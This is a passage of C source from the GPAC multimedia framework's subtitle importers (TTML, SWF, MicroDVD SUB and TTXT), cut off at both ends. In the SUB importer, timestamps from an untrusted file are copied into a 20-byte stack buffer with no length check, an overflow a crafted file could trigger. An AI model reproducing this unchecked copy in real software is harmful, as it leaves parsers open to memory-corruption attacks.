ts_end = (h*3600 + m*60+s)*1000; } } if ((ts_begin != -1) && (ts_end != -1) && !samp_text && sample_list_node) { if (samp_text) { e = gf_import_message(import, GF_BAD_PARAM, "[TTML] duplicated sample text under <span>. Abort.\n"); goto exit; } /*append the sample*/ e = gf_xml_dom_append_child(sample_list_node, div_node); assert(e == GF_OK); assert(!samp_text); samp_text = gf_xml_dom_serialize((GF_XMLNode*)root_working_copy, GF_FALSE); e = gf_xml_dom_rem_child(sample_list_node, div_node); assert(e == GF_OK); } } } } if ((ts_begin != -1) && (ts_end != -1) && samp_text) { GF_ISOSample *s; GF_GenericSubtitleSample *samp; u32 len; char *str; if (ts_end < ts_begin) { e = gf_import_message(import, GF_BAD_PARAM, "[TTML] invalid timings: \"begin\"="LLD" , \"end\"="LLD". Abort.\n", ts_begin, ts_end); goto exit; } if (ts_begin < (s64)last_sample_end) { e = gf_import_message(import, GF_BAD_PARAM, "[TTML] timing overlapping not supported: \"begin\" is "LLD" , last \"end\" was "LLD". Abort.\n", ts_begin, last_sample_end); goto exit; } str = ttxt_parse_string(import, samp_text, GF_TRUE); len = (u32) strlen(str); samp = gf_isom_new_xml_subtitle_sample(); /*each sample consists of a full valid XML file*/ e = gf_isom_xml_subtitle_sample_add_text(samp, str, len); if (e) { GF_LOG(GF_LOG_ERROR, GF_LOG_PARSER, ("[TTML] ISOM - sample add text: %s", gf_error_to_string(e))); goto exit; } gf_free(samp_text); samp_text = NULL; s = gf_isom_xml_subtitle_to_sample(samp); gf_isom_delete_xml_subtitle_sample(samp); if (!nb_samples) { s->DTS = 0; /*in MP4 we must start at T=0*/ last_sample_duration = ts_end; } else { s->DTS = ts_begin; last_sample_duration = ts_end - ts_begin; } last_sample_end = ts_end; GF_LOG(GF_LOG_DEBUG, GF_LOG_PARSER, ("ts_begin="LLD", ts_end="LLD", last_sample_duration="LLU" (real duration: "LLU"), last_sample_end="LLU"\n", ts_begin, ts_end, ts_end - last_sample_end, last_sample_duration, last_sample_end)); e = gf_isom_add_sample(import->dest, track, desc_idx, s); if (e) { GF_LOG(GF_LOG_ERROR, GF_LOG_PARSER, ("[TTML] ISOM - Add Sample: %s", gf_error_to_string(e))); goto exit; } gf_isom_sample_del(&s); nb_samples++; nb_p_found++; gf_set_progress("Importing TTML", nb_samples, nb_children); if (import->duration && (ts_end > import->duration)) break; } else { GF_LOG(GF_LOG_WARNING, GF_LOG_PARSER, ("[TTML] incomplete sample (begin="LLD", end="LLD", text=\"%s\"). Skip.\n", ts_begin, ts_end, samp_text ? samp_text : "NULL")); } } } if (!nb_p_found) { GF_LOG(GF_LOG_WARNING, GF_LOG_PARSER, ("[TTML EBU-TTD] \"%s\" div node has no <p> elements. Aborting.\n", node->name)); goto exit; } } } } } if (!has_body) { e = gf_import_message(import, GF_BAD_PARAM, "[TTML EBU-TTD] missing \"body\" element. Abort.\n"); goto exit; } GF_LOG(GF_LOG_DEBUG, GF_LOG_PARSER, ("last_sample_duration="LLU", last_sample_end="LLU"\n", last_sample_duration, last_sample_end)); gf_isom_set_last_sample_duration(import->dest, track, (u32) last_sample_duration); gf_media_update_bitrate(import->dest, track); gf_set_progress("Importing TTML EBU-TTD", nb_samples, nb_samples); exit: gf_free(samp_text); gf_xml_dom_del(parser_working_copy); if (!gf_isom_get_sample_count(import->dest, track)) { GF_LOG(GF_LOG_WARNING, GF_LOG_PARSER, ("[TTML EBU-TTD] No sample imported. Might be an error. Check your content.\n")); } return e; } static GF_Err gf_text_import_ttml(GF_MediaImporter *import) { GF_Err e; GF_DOMParser *parser; GF_XMLNode *root; if (import->flags == GF_IMPORT_PROBE_ONLY) return GF_OK; parser = gf_xml_dom_new(); e = gf_xml_dom_parse(parser, import->in_name, ttml_import_progress, import); if (e) { gf_import_message(import, e, "Error parsing TTML file: Line %d - %s. Abort.", gf_xml_dom_get_line(parser), gf_xml_dom_get_error(parser)); gf_xml_dom_del(parser); return e; } root = gf_xml_dom_get_root(parser); if (!root) { gf_import_message(import, e, "Error parsing TTML file: no \"root\" found. Abort."); gf_xml_dom_del(parser); return e; } /*look for TTML*/ if (gf_xml_get_element_check_namespace(root, "tt", NULL) == GF_OK) { e = gf_text_import_ebu_ttd(import, parser, root); if (e == GF_OK) { GF_LOG(GF_LOG_WARNING, GF_LOG_PARSER, ("Note: TTML import - EBU-TTD detected\n")); } else { GF_LOG(GF_LOG_ERROR, GF_LOG_PARSER, ("Parsing TTML file with error: %s\n", gf_error_to_string(e))); GF_LOG(GF_LOG_INFO, GF_LOG_PARSER, ("Unsupported TTML file - only EBU-TTD is supported (root shall be \"tt\", got \"%s\")\n", root->name)); GF_LOG(GF_LOG_INFO, GF_LOG_PARSER, ("Importing as generic TTML\n")); e = GF_OK; } } else { if (root->ns) { GF_LOG(GF_LOG_WARNING, GF_LOG_PARSER, ("TTML file not recognized: root element is \"%s:%s\" (check your namespaces)\n", root->ns, root->name)); } else { GF_LOG(GF_LOG_WARNING, GF_LOG_PARSER, ("TTML file not recognized: root element is \"%s\"\n", root->name)); } e = GF_BAD_PARAM; } gf_xml_dom_del(parser); return e; } /* SimpleText Text tracks -related functions */ GF_Box *boxstring_new_with_data(u32 type, const char *string); #ifndef GPAC_DISABLE_SWF_IMPORT /* SWF Importer */ #include <gpac/internal/swf_dev.h> static GF_Err swf_svg_add_iso_sample(void *user, const char *data, u32 length, u64 timestamp, Bool isRap) { GF_Err e = GF_OK; GF_ISOFlusher *flusher = (GF_ISOFlusher *)user; GF_ISOSample *s; GF_BitStream *bs; bs = gf_bs_new(NULL, 0, GF_BITSTREAM_WRITE); if (!bs) return GF_BAD_PARAM; gf_bs_write_data(bs, data, length); s = gf_isom_sample_new(); if (s) { gf_bs_get_content(bs, &s->data, &s->dataLength); s->DTS = (u64) (flusher->timescale*timestamp/1000); s->IsRAP = isRap ? RAP : RAP_NO; gf_isom_add_sample(flusher->import->dest, flusher->track, flusher->descriptionIndex, s); gf_isom_sample_del(&s); } else { e = GF_BAD_PARAM; } gf_bs_del(bs); return e; } static GF_Err swf_svg_add_iso_header(void *user, const char *data, u32 length, Bool isHeader) { GF_ISOFlusher *flusher = (GF_ISOFlusher *)user; if (!flusher) return GF_BAD_PARAM; if (isHeader) { return gf_isom_update_stxt_description(flusher->import->dest, flusher->track, NULL, data, flusher->descriptionIndex); } else { return gf_isom_append_sample_data(flusher->import->dest, flusher->track, (char *)data, length); } } GF_EXPORT GF_Err gf_text_import_swf(GF_MediaImporter *import) { GF_Err e = GF_OK; u32 track; u32 timescale; //u32 duration; u32 descIndex; u32 ID; u32 OCR_ES_ID; GF_GenericSubtitleConfig *cfg; SWFReader *read; GF_ISOFlusher flusher; char *mime; if (import->flags & GF_IMPORT_PROBE_ONLY) { import->nb_tracks = 1; return GF_OK; } cfg = NULL; if (import->esd) { if (!import->esd->slConfig) { import->esd->slConfig = (GF_SLConfig *) gf_odf_desc_new(GF_ODF_SLC_TAG); import->esd->slConfig->predefined = 2; import->esd->slConfig->timestampResolution = 1000; } timescale = import->esd->slConfig->timestampResolution; if (!timescale) timescale = 1000; /*explicit text config*/ if (import->esd->decoderConfig && import->esd->decoderConfig->decoderSpecificInfo->tag == GF_ODF_GEN_SUB_CFG_TAG) { cfg = (GF_GenericSubtitleConfig *) import->esd->decoderConfig->decoderSpecificInfo; import->esd->decoderConfig->decoderSpecificInfo = NULL; } ID = import->esd->ESID; OCR_ES_ID = import->esd->OCRESID; } else { timescale = 1000; OCR_ES_ID = ID = 0; } if (cfg && cfg->timescale) timescale = cfg->timescale; track = gf_isom_new_track(import->dest, ID, GF_ISOM_MEDIA_TEXT, timescale); if (!track) { return gf_import_message(import, gf_isom_last_error(import->dest), "Error creating text track"); } gf_isom_set_track_enabled(import->dest, track, 1); if (import->esd && !import->esd->ESID) import->esd->ESID = gf_isom_get_track_id(import->dest, track); if (OCR_ES_ID) gf_isom_set_track_reference(import->dest, track, GF_ISOM_REF_OCR, OCR_ES_ID); if (!stricmp(import->streamFormat, "SVG")) { mime = "image/svg+xml"; } else { mime = "application/octet-stream"; } read = gf_swf_reader_new(NULL, import->in_name); gf_swf_read_header(read); /*setup track*/ if (cfg) { u32 i; u32 count; /*set track info*/ gf_isom_set_track_layout_info(import->dest, track, cfg->text_width<<16, cfg->text_height<<16, 0, 0, cfg->layer); /*and set sample descriptions*/ count = gf_list_count(cfg->sample_descriptions); for (i=0; i<count; i++) { gf_isom_new_stxt_description(import->dest, track, GF_ISOM_SUBTYPE_STXT, mime, NULL, NULL, &descIndex); } gf_import_message(import, GF_OK, "SWF import - text track %d x %d", cfg->text_width, cfg->text_height); gf_odf_desc_del((GF_Descriptor *)cfg); } else { u32 w = (u32)read->width; u32 h = (u32)read->height; if (!w || !h) gf_text_get_video_size(import, &w, &h); gf_isom_set_track_layout_info(import->dest, track, w<<16, h<<16, 0, 0, 0); gf_isom_new_stxt_description(import->dest, track, GF_ISOM_SUBTYPE_STXT, mime, NULL, NULL, &descIndex); gf_import_message(import, GF_OK, "SWF import (as text - type: %s)", import->streamFormat); } gf_text_import_set_language(import, track); //duration = (u32) (((Double) import->duration)*timescale/1000.0); flusher.import = import; flusher.track = track; flusher.timescale = timescale; flusher.descriptionIndex = descIndex; gf_swf_reader_set_user_mode(read, &flusher, swf_svg_add_iso_sample, swf_svg_add_iso_header); if (!import->streamFormat || (import->streamFormat && !stricmp(import->streamFormat, "SVG"))) { #ifndef GPAC_DISABLE_SVG e = swf_to_svg_init(read, import->swf_flags, import->swf_flatten_angle); #endif } else { /*if (import->streamFormat && !strcmp(import->streamFormat, "BIFS"))*/ #ifndef GPAC_DISABLE_VRML e = swf_to_bifs_init(read); #endif } if (e) { goto exit; } /*parse all tags*/ while (e == GF_OK) { e = swf_parse_tag(read); } if (e==GF_EOS) e = GF_OK; exit: gf_swf_reader_del(read); gf_media_update_bitrate(import->dest, track); return e; } /* end of SWF Importer */ #else GF_EXPORT GF_Err gf_text_import_swf(GF_MediaImporter *import) { GF_LOG(GF_LOG_WARNING, GF_LOG_PARSER, ("Warning: GPAC was compiled without SWF import support, can't import track.\n")); return GF_NOT_SUPPORTED; } #endif /*GPAC_DISABLE_SWF_IMPORT*/ static GF_Err gf_text_import_sub(GF_MediaImporter *import) { FILE *sub_in; u32 track, ID, timescale, i, j, desc_idx, start, end, prev_end, nb_samp, duration, len, line; u64 file_size; GF_TextConfig*cfg; GF_Err e; Double FPS; GF_TextSample * samp; Bool first_samp; s32 unicode_type; char szLine[2048], szTime[20], szText[2048]; GF_ISOSample *s; sub_in = gf_fopen(import->in_name, "rt"); unicode_type = gf_text_get_utf_type(sub_in); if (unicode_type<0) { gf_fclose(sub_in); return gf_import_message(import, GF_NOT_SUPPORTED, "Unsupported SUB UTF encoding"); } FPS = GF_IMPORT_DEFAULT_FPS; if (import->video_fps) FPS = import->video_fps; cfg = NULL; if (import->esd) { if (!import->esd->slConfig) { import->esd->slConfig = (GF_SLConfig *) gf_odf_desc_new(GF_ODF_SLC_TAG); import->esd->slConfig->predefined = 2; import->esd->slConfig->timestampResolution = 1000; } timescale = import->esd->slConfig->timestampResolution; if (!timescale) timescale = 1000; /*explicit text config*/ if (import->esd->decoderConfig && import->esd->decoderConfig->decoderSpecificInfo->tag == GF_ODF_TEXT_CFG_TAG) { cfg = (GF_TextConfig *) import->esd->decoderConfig->decoderSpecificInfo; import->esd->decoderConfig->decoderSpecificInfo = NULL; } ID = import->esd->ESID; } else { timescale = 1000; ID = 0; } if (cfg && cfg->timescale) timescale = cfg->timescale; track = gf_isom_new_track(import->dest, ID, GF_ISOM_MEDIA_TEXT, timescale); if (!track) { gf_fclose(sub_in); return gf_import_message(import, gf_isom_last_error(import->dest), "Error creating text track"); } gf_isom_set_track_enabled(import->dest, track, 1); if (import->esd && !import->esd->ESID) import->esd->ESID = gf_isom_get_track_id(import->dest, track); gf_text_import_set_language(import, track); file_size = 0; /*setup track*/ if (cfg) { u32 count; char *firstFont = NULL; /*set track info*/ gf_isom_set_track_layout_info(import->dest, track, cfg->text_width<<16, cfg->text_height<<16, 0, 0, cfg->layer); /*and set sample descriptions*/ count = gf_list_count(cfg->sample_descriptions); for (i=0; i<count; i++) { GF_TextSampleDescriptor *sd= (GF_TextSampleDescriptor *)gf_list_get(cfg->sample_descriptions, i); if (!sd->font_count) { sd->fonts = (GF_FontRecord*)gf_malloc(sizeof(GF_FontRecord)); sd->font_count = 1; sd->fonts[0].fontID = 1; sd->fonts[0].fontName = gf_strdup("Serif"); } if (!sd->default_style.fontID) sd->default_style.fontID = sd->fonts[0].fontID; if (!sd->default_style.font_size) sd->default_style.font_size = 16; if (!sd->default_style.text_color) sd->default_style.text_color = 0xFF000000; file_size = sd->default_style.font_size; gf_isom_new_text_description(import->dest, track, sd, NULL, NULL, &desc_idx); if (!firstFont) firstFont = sd->fonts[0].fontName; } gf_import_message(import, GF_OK, "Timed Text (SUB @ %02.2f) import - text track %d x %d, font %s (size %d)", FPS, cfg->text_width, cfg->text_height, firstFont, file_size); gf_odf_desc_del((GF_Descriptor *)cfg); } else { u32 w, h; GF_TextSampleDescriptor *sd; gf_text_get_video_size(import, &w, &h); /*have to work with default - use max size (if only one video, this means the text region is the entire display, and with bottom alignment things should be fine...*/ gf_isom_set_track_layout_info(import->dest, track, w<<16, h<<16, 0, 0, 0); sd = (GF_TextSampleDescriptor*)gf_odf_desc_new(GF_ODF_TX3G_TAG); sd->fonts = (GF_FontRecord*)gf_malloc(sizeof(GF_FontRecord)); sd->font_count = 1; sd->fonts[0].fontID = 1; sd->fonts[0].fontName = gf_strdup("Serif"); sd->back_color = 0x00000000; /*transparent*/ sd->default_style.fontID = 1; sd->default_style.font_size = TTXT_DEFAULT_FONT_SIZE; sd->default_style.text_color = 0xFFFFFFFF; /*white*/ sd->default_style.style_flags = 0; sd->horiz_justif = 1; /*center of scene*/ sd->vert_justif = (s8) -1; /*bottom of scene*/ if (import->flags & GF_IMPORT_SKIP_TXT_BOX) { sd->default_pos.top = sd->default_pos.left = sd->default_pos.right = sd->default_pos.bottom = 0; } else { if ((sd->default_pos.bottom==sd->default_pos.top) || (sd->default_pos.right==sd->default_pos.left)) { sd->default_pos.left = import->text_x; sd->default_pos.top = import->text_y; sd->default_pos.right = (import->text_width ? import->text_width : w) + sd->default_pos.left; sd->default_pos.bottom = (import->text_height ? import->text_height : h) + sd->default_pos.top; } } gf_isom_new_text_description(import->dest, track, sd, NULL, NULL, &desc_idx); gf_import_message(import, GF_OK, "Timed Text (SUB @ %02.2f) import - text track %d x %d, font %s (size %d)", FPS, w, h, sd->fonts[0].fontName, TTXT_DEFAULT_FONT_SIZE); gf_odf_desc_del((GF_Descriptor *)sd); } duration = (u32) (((Double) import->duration)*timescale/1000.0); e = GF_OK; nb_samp = 0; samp = gf_isom_new_text_sample(); FPS = ((Double) timescale ) / FPS; end = prev_end = 0; line = 0; first_samp = GF_TRUE; while (1) { char *sOK = gf_text_get_utf8_line(szLine, 2048, sub_in, unicode_type); if (!sOK) break; REM_TRAIL_MARKS(szLine, "\r\n\t ") line++; len = (u32) strlen(szLine); if (!len) continue; i=0; if (szLine[i] != '{') { e = gf_import_message(import, GF_NON_COMPLIANT_BITSTREAM, "Bad SUB file (line %d): expecting \"{\" got \"%c\"", line, szLine[i]); goto exit; } while (szLine[i+1] && szLine[i+1]!='}') { szTime[i] = szLine[i+1]; i++; } szTime[i] = 0; start = atoi(szTime); if (start<end) { gf_import_message(import, GF_OK, "WARNING: corrupted SUB frame (line %d) - starts (at %d ms) before end of previous one (%d ms) - adjusting time stamps", line, start, end); start = end; } j=i+2; i=0; if (szLine[i+j] != '{') { e = gf_import_message(import, GF_NON_COMPLIANT_BITSTREAM, "Bad SUB file - expecting \"{\" got \"%c\"", szLine[i]); goto exit; } while (szLine[i+1+j] && szLine[i+1+j]!='}') { szTime[i] = szLine[i+1+j]; i++; } szTime[i] = 0; end = atoi(szTime); j+=i+2; if (start>end) { gf_import_message(import, GF_OK, "WARNING: corrupted SUB frame (line %d) - ends (at %d ms) before start of current frame (%d ms) - skipping", line, end, start); continue; } gf_isom_text_reset(samp); if (start && first_samp) { s = gf_isom_text_to_sample(samp); s->DTS = 0; s->IsRAP = RAP; gf_isom_add_sample(import->dest, track, 1, s); gf_isom_sample_del(&s); first_samp = GF_FALSE; nb_samp++; } for (i=j; i<len; i++) { if (szLine[i]=='|') { szText[i-j] = '\n'; } else { szText[i-j] = szLine[i]; } } szText[i-j] = 0; gf_isom_text_add_text(samp, szText, (u32) strlen(szText) ); if (prev_end) { GF_TextSample * empty_samp = gf_isom_new_text_sample(); s = gf_isom_text_to_sample(empty_samp); s->DTS = (u64) (FPS*(s64)prev_end); gf_isom_add_sample(import->dest, track, 1, s); gf_isom_sample_del(&s); nb_samp++; gf_isom_delete_text_sample(empty_samp); } s = gf_isom_text_to_sample(samp); s->DTS = (u64) (FPS*(s64)start); gf_isom_add_sample(import->dest, track, 1, s); gf_isom_sample_del(&s); nb_samp++; gf_isom_text_reset(samp); prev_end = end; gf_set_progress("Importing SUB", gf_ftell(sub_in), file_size); if (duration && (end >= duration)) break; } /*final flush*/ if (end && !(import->flags & GF_IMPORT_NO_TEXT_FLUSH ) ) { gf_isom_text_reset(samp); s = gf_isom_text_to_sample(samp); s->DTS = (u64)(FPS*(s64)end); gf_isom_add_sample(import->dest, track, 1, s); gf_isom_sample_del(&s); nb_samp++; } gf_isom_delete_text_sample(samp); gf_isom_set_last_sample_duration(import->dest, track, 0); gf_set_progress("Importing SUB", nb_samp, nb_samp); exit: if (e) gf_isom_remove_track(import->dest, track); gf_fclose(sub_in); return e; } #define CHECK_STR(__str) \ if (!__str) { \ e = gf_import_message(import, GF_BAD_PARAM, "Invalid XML formatting (line %d)", parser.line); \ goto exit; \ } \ u32 ttxt_get_color(GF_MediaImporter *import, char *val) { u32 r, g, b, a, res; r = g = b = a = 0; if (sscanf(val, "%x %x %x %x", &r, &g, &b, &a) != 4) { gf_import_message(import, GF_OK, "Warning: color badly formatted"); } res = (a&0xFF); res<<=8; res |= (r&0xFF); res<<=8; res |= (g&0xFF); res<<=8; res |= (b&0xFF); return res; } void ttxt_parse_text_box(GF_MediaImporter *import, GF_XMLNode *n, GF_BoxRecord *box) { u32 i=0; GF_XMLAttribute *att; memset(box, 0, sizeof(GF_BoxRecord)); while ( (att=(GF_XMLAttribute *)gf_list_enum(n->attributes, &i))) { if (!stricmp(att->name, "top")) box->top = atoi(att->value); else if (!stricmp(att->name, "bottom")) box->bottom = atoi(att->value); else if (!stricmp(att->name, "left")) box->left = atoi(att->value); else if (!stricmp(att->name, "right")) box->right = atoi(att->value); } } void ttxt_parse_text_style(GF_MediaImporter *import, GF_XMLNode *n, GF_StyleRecord *style) { u32 i=0; GF_XMLAttribute *att; memset(style, 0, sizeof(GF_StyleRecord)); style->fontID = 1; style->font_size = TTXT_DEFAULT_FONT_SIZE; style->text_color = 0xFFFFFFFF; while ( (att=(GF_XMLAttribute *)gf_list_enum(n->attributes, &i))) { if (!stricmp(att->name, "fromChar")) style->startCharOffset = atoi(att->value); else if (!stricmp(att->name, "toChar")) style->endCharOffset = atoi(att->value); else if (!stricmp(att->name, "fontID")) style->fontID = atoi(att->value); else if (!stricmp(att->name, "fontSize")) style->font_size = atoi(att->value); else if (!stricmp(att->name, "color")) style->text_color = ttxt_get_color(import, att->value); else if (!stricmp(att->name, "styles")) { if (strstr(att->value, "Bold")) style->style_flags |= GF_TXT_STYLE_BOLD; if (strstr(att->value, "Italic")) style->style_flags |= GF_TXT_STYLE_ITALIC; if (strstr(att->value, "Underlined")) style->style_flags |= GF_TXT_STYLE_UNDERLINED; } } } static void ttxt_import_progress(void *cbk, u64 cur_samp, u64 count) { gf_set_progress("TTXT Loading", cur_samp, count); } static GF_Err gf_text_import_ttxt(GF_MediaImporter *import) { GF_Err e; Bool last_sample_empty; u32 i, j, k, track, ID, nb_samples, nb_descs, nb_children; u64 last_sample_duration; GF_XMLAttribute *att; GF_DOMParser *parser; GF_XMLNode *root, *node, *ext; if (import->flags==GF_IMPORT_PROBE_ONLY) return GF_OK; parser = gf_xml_dom_new(); e = gf_xml_dom_parse(parser, import->in_name, ttxt_import_progress, import); if (e) { gf_import_message(import, e, "Error parsing TTXT file: Line %d - %s", gf_xml_dom_get_line(parser), gf_xml_dom_get_error(parser)); gf_xml_dom_del(parser); return e; } root = gf_xml_dom_get_root(parser); e = GF_OK; if (strcmp(root->name, "TextStream")) { e = gf_import_message(import, GF_BAD_PARAM, "Invalid Timed Text file - expecting \"TextStream\" got %s", "TextStream", root->name); goto exit; } /*setup track in 3GP format directly (no ES desc)*/ ID = (import->esd) ? import->esd->ESID : 0; track = gf_isom_new_track(import->dest, ID, GF_ISOM_MEDIA_TEXT, 1000); if (!track) { e = gf_isom_last_error(import->dest); goto exit; } gf_isom_set_track_enabled(import->dest, track, 1); /*some MPEG-4 setup*/ if (import->esd) { if (!import->esd->ESID) import->esd->ESID = gf_isom_get_track_id(import->dest, track); if (!import->esd->decoderConfig) import->esd->decoderConfig = (GF_DecoderConfig *) gf_odf_desc_new(GF_ODF_DCD_TAG); if (!import->esd->slConfig) import->esd->slConfig = (GF_SLConfig *) gf_odf_desc_new(GF_ODF_SLC_TAG); import->esd->slConfig->timestampResolution = 1000; import->esd->decoderConfig->streamType = GF_STREAM_TEXT; import->esd->decoderConfig->objectTypeIndication = GPAC_OTI_TEXT_MPEG4; if (import->esd->OCRESID) gf_isom_set_track_reference(import->dest, track, GF_ISOM_REF_OCR, import->esd->OCRESID); } gf_text_import_set_language(import, track); gf_import_message(import, GF_OK, "Timed Text (GPAC TTXT) Import"); last_sample_empty = GF_FALSE; last_sample_duration = 0; nb_descs = 0; nb_samples = 0; nb_children = gf_list_count(root->content); i=0; while ( (node = (GF_XMLNode*)gf_list_enum(root->content, &i))) { if (node->type) { nb_children--; continue; } if (!strcmp(node->name, "TextStreamHeader")) { GF_XMLNode *sdesc; s32 w, h, tx, ty, layer; u32 tref_id; w = TTXT_DEFAULT_WIDTH; h = TTXT_DEFAULT_HEIGHT; tx = ty = layer = 0; nb_children--; tref_id = 0; j=0; while ( (att=(GF_XMLAttribute *)gf_list_enum(node->attributes, &j))) { if (!strcmp(att->name, "width")) w = atoi(att->value); else if (!strcmp(att->name, "height")) h = atoi(att->value); else if (!strcmp(att->name, "layer")) layer = atoi(att->value); else if (!strcmp(att->name, "translation_x")) tx = atoi(att->value); else if (!strcmp(att->name, "translation_y")) ty = atoi(att->value); else if (!strcmp(att->name, "trefID")) tref_id = atoi(att->value); } if (tref_id) gf_isom_set_track_reference(import->dest, track, GF_ISOM_BOX_TYPE_CHAP, tref_id); gf_isom_set_track_layout_info(import->dest, track, w<<16, h<<16, tx<<16, ty<<16, (s16) layer); j=0; while ( (sdesc=(GF_XMLNode*)gf_list_enum(node->content, &j))) { if (sdesc->type) continue; if (!strcmp(sdesc->name, "TextSampleDescription")) { GF_TextSampleDescriptor td; u32 idx; memset(&td, 0, sizeof(GF_TextSampleDescriptor)); td.tag = GF_ODF_TEXT_CFG_TAG; td.vert_justif = (s8) -1; td.default_style.fontID = 1; td.default_style.font_size = TTXT_DEFAULT_FONT_SIZE; k=0; while ( (att=(GF_XMLAttribute *)gf_list_enum(sdesc->attributes, &k))) { if (!strcmp(att->name, "horizontalJustification")) { if (!stricmp(att->value, "center")) td.horiz_justif = 1; else if (!stricmp(att->value, "right")) td.horiz_justif = (s8) -1; else if (!stricmp(att->value, "left")) td.horiz_justif = 0; } else if (!strcmp(att->name, "verticalJustification")) { if (!stricmp(att->value, "center")) td.vert_justif = 1; else if (!stricmp(att->value, "bottom")) td.vert_justif = (s8) -1; else if (!stricmp(att->value, "top")) td.vert_justif = 0; } else if (!strcmp(att->name, "backColor")) td.back_color = ttxt_get_color(import, att->value); else if (!strcmp(att->name, "verticalText") && !stricmp(att->value, "yes") ) td.displayFlags |= GF_TXT_VERTICAL; else if (!strcmp(att->name, "fillTextRegion") && !stricmp(att->value, "yes") ) td.displayFlags |= GF_TXT_FILL_REGION; else if (!strcmp(att->name, "continuousKaraoke") && !stricmp(att->value, "yes") ) td.displayFlags |= GF_TXT_KARAOKE; else if (!strcmp(att->name, "scroll")) { if (!stricmp(att->value, "inout")) td.displayFlags |= GF_TXT_SCROLL_IN | GF_TXT_SCROLL_OUT; else if (!stricmp(att->value, "in")) td.displayFlags |= GF_TXT_SCROLL_IN; else if (!stricmp(att->value, "out")) td.displayFlags |= GF_TXT_SCROLL_OUT; } else if (!strcmp(att->name, "scrollMode")) { u32 scroll_mode = GF_TXT_SCROLL_CREDITS; if (!stricmp(att->value, "Credits")) scroll_mode = GF_TXT_SCROLL_CREDITS; else if (!stricmp(att->value, "Marquee")) scroll_mode = GF_TXT_SCROLL_MARQUEE; else if (!stricmp(att->value, "Right")) scroll_mode = GF_TXT_SCROLL_RIGHT; else if (!stricmp(att->value, "Down")) scroll_mode = GF_TXT_SCROLL_DOWN; td.displayFlags |= ((scroll_mode<<7) & GF_TXT_SCROLL_DIRECTION); } } k=0; while ( (ext=(GF_XMLNode*)gf_list_enum(sdesc->content, &k))) { if (ext->type) continue; if (!strcmp(ext->name, "TextBox")) ttxt_parse_text_box(import, ext, &td.default_pos); else if (!strcmp(ext->name, "Style")) ttxt_parse_text_style(import, ext, &td.default_style); else if (!strcmp(ext->name, "FontTable")) { GF_XMLNode *ftable; u32 z=0; while ( (ftable=(GF_XMLNode*)gf_list_enum(ext->content, &z))) { u32 m; if (ftable->type || strcmp(ftable->name, "FontTableEntry")) continue; td.font_count += 1; td.fonts = (GF_FontRecord*)gf_realloc(td.fonts, sizeof(GF_FontRecord)*td.font_count); m=0; while ( (att=(GF_XMLAttribute *)gf_list_enum(ftable->attributes, &m))) { if (!stricmp(att->name, "fontID")) td.fonts[td.font_count-1].fontID = atoi(att->value); else if (!stricmp(att->name, "fontName")) td.fonts[td.font_count-1].fontName = gf_strdup(att->value); } } } } if (import->flags & GF_IMPORT_SKIP_TXT_BOX) { td.default_pos.top = td.default_pos.left = td.default_pos.right = td.default_pos.bottom = 0; } else { if ((td.default_pos.bottom==td.default_pos.top) || (td.default_pos.right==td.default_pos.left)) { td.default_pos.top = td.default_pos.left = 0; td.default_pos.right = w; td.default_pos.bottom = h; } } if (!td.fonts) { td.font_count = 1; td.fonts = (GF_FontRecord*)gf_malloc(sizeof(GF_FontRecord)); td.fonts[0].fontID = 1; td.fonts[0].fontName = gf_strdup("Serif"); } gf_isom_new_text_description(import->dest, track, &td, NULL, NULL, &idx); for (k=0; k<td.font_count; k++) gf_free(td.fonts[k].fontName); gf_free(td.fonts); nb_descs ++; } } } /*sample text*/ else if (!strcmp(node->name, "TextSample")) { GF_ISOSample *s; GF_TextSample * samp; u32 ts, descIndex; Bool has_text = GF_FALSE; if (!nb_descs) { e = gf_import_message(import, GF_BAD_PARAM, "Invalid Timed Text file - text stream header not found or empty"); goto exit; } samp = gf_isom_new_text_sample(); ts = 0; descIndex = 1; last_sample_empty = GF_TRUE; j=0; while ( (att=(GF_XMLAttribute*)gf_list_enum(node->attributes, &j))) { if (!strcmp(att->name, "sampleTime")) { u32 h, m, s, ms; if (sscanf(att->value, "%u:%u:%u.%u", &h, &m, &s, &ms) == 4) { ts = (h*3600 + m*60 + s)*1000 + ms; } else { ts = (u32) (atof(att->value) * 1000); } } else if (!strcmp(att->name, "sampleDescriptionIndex")) descIndex = atoi(att->value); else if (!strcmp(att->name, "text")) { u32 len; char *str = ttxt_parse_string(import, att->value, GF_TRUE); len = (u32) strlen(str); gf_isom_text_add_text(samp, str, len); last_sample_empty = len ? GF_FALSE : GF_TRUE; has_text = GF_TRUE; } else if (!strcmp(att->name, "scrollDelay")) gf_isom_text_set_scroll_delay(samp, (u32) (1000*atoi(att->value))); else if (!strcmp(att->name, "highlightColor")) gf_isom_text_set_highlight_color_argb(samp, ttxt_get_color(import, att->value)); else if (!strcmp(att->name, "wrap") && !strcmp(att->value, "Automatic")) gf_isom_text_set_wrap(samp, 0x01); } /*get all modifiers*/ j=0; while ( (ext=(GF_XMLNode*)gf_list_enum(node->content, &j))) { if (!has_text && (ext->type==GF_XML_TEXT_TYPE)) { u32 len; char *str = ttxt_parse_string(import, ext->name, GF_FALSE); len = (u32) strlen(str); gf_isom_text_add_text(samp, str, len); last_sample_empty = len ? GF_FALSE : GF_TRUE; has_text = GF_TRUE; } if (ext->type) continue; if (!stricmp(ext->name, "Style")) { GF_StyleRecord r; ttxt_parse_text_style(import, ext, &r); gf_isom_text_add_style(samp, &r); } else if (!stricmp(ext->name, "TextBox")) { GF_BoxRecord r; ttxt_parse_text_box(import, ext, &r); gf_isom_text_set_box(samp, r.top, r.left, r.bottom, r.right); } else if (!stricmp(ext->name, "Highlight")) { u16 start, end; start = end = 0; k=0; while ( (att=(GF_XMLAttribute *)gf_list_enum(ext->attributes, &k))) { if (!strcmp(att->name, "fromChar")) start = atoi(att->value); else if (!strcmp(att->name, "toChar")) end = atoi(att->value); } gf_isom_text_add_highlight(samp, start, end); } else if (!stricmp(ext->name, "Blinking")) { u16 start, end; start = end = 0; k=0; while ( (att=(GF_XMLAttribute *)gf_list_enum(ext->attributes, &k))) { if (!strcmp(att->name, "fromChar")) start = atoi(att->value); else if (!strcmp(att->name, "toChar")) end = atoi(att->value); } gf_isom_text_add_blink(samp, start, end); } else if (!stricmp(ext->name, "HyperLink")) { u16 start, end; char *url, *url_tt; start = end = 0; url = url_tt = NULL; k=0; while ( (att=(GF_XMLAttribute *)gf_list_enum(ext->attributes, &k))) { if (!strcmp(att->name, "fromChar")) start = atoi(att->value); else if (!strcmp(att->name, "toChar")) end = atoi(att->value); else if (!strcmp(att->name, "URL")) url = 